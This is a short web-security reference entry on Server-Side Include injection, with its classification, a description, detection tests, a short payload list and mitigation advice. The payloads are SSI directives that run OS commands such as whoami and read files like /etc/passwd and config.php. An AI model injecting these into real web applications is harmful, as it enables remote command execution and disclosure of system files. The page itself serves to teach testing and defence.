Home / Web Security / SSI Injection
High Severity | OWASP A03:2021

🟠 Server-Side Include (SSI) Injection

CWECWE-95: SSI Injection
OWASPA03:2021 Injection
CVSS 3.17.5 (High)

🧠 Description

SSI Injection occurs when web applications use Server-Side Include directives in HTML pages without proper input validation. Attackers can inject SSI directives to execute OS commands or access files.

Impact: RCE, File Access, Information Disclosure

🔍 Detection

  • Test: <!--#exec cmd="whoami"-->
  • Test: <!--#include virtual="/etc/passwd"-->
  • Test: <!--#echo var="DATE_LOCAL"-->

💣 Payloads

<!--#exec cmd="whoami" -->
<!--#include virtual="/etc/passwd" -->
<!--#echo var="DATE_LOCAL" -->
<!--#fsize file="config.php" -->

🛡️ Mitigation

✅ Disable SSI in web server

✅ Validate and sanitize all user input

✅ Use allowlist for file includes
Back to Web Security